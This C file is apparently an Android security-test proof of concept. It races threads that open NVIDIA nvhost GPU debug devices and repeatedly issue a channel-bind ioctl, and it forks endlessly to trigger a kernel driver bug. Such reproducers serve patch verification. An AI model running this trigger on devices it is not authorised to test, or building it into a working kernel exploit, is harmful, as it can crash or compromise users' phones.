/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include <linux/ion.h>

#define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul


int fd_gpu;
int fd_dbg;
int fd_dbg_1;

void *thr(void *arg)
{
	int ioarg[2];
	switch ((long)arg) {
	case 0:
		fd_dbg = open("/dev/nvhost-dbg-gpu",0x0ul,0x101000ul);
		break;
	case 1:
		fd_dbg_1 = dup3(fd_dbg, fd_dbg,0x80000ul);
		break;
	case 2:
		ioarg[0] = fd_dbg_1;
		ioarg[1] = 0; 
		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg, 0, 0, 0);
		break;
	case 3:
		fd_gpu = open("/dev/nvhost-gpu",0x0ul,0x2000ul);
		break;
	case 4:
		ioarg[0] = fd_gpu;
		ioarg[1] = 0;
		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
		break;
	case 5:
		ioarg[0] = fd_gpu;
		ioarg[1] = 0; 
		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
		break;
	}
	return 0;
}
int poc()
{
	long i;
	pthread_t th;
	for (i = 0; i < 6; i++) {
		pthread_create(&th, 0, thr, (void*)i);
		usleep(10000);
	}
	for (i = 0; i < 6; i++) {
		pthread_create(&th, 0, thr, (void*)i);
		if (i%2==0)
			usleep(10000);
	}
	usleep(100000);
	return 0;
}


int main(int argc, char const *argv[])
{
	int pid;
	while(1){
		pid = fork();
		if(pid){
			usleep(30000);
		}else
			return poc();
	}
	return 0;
}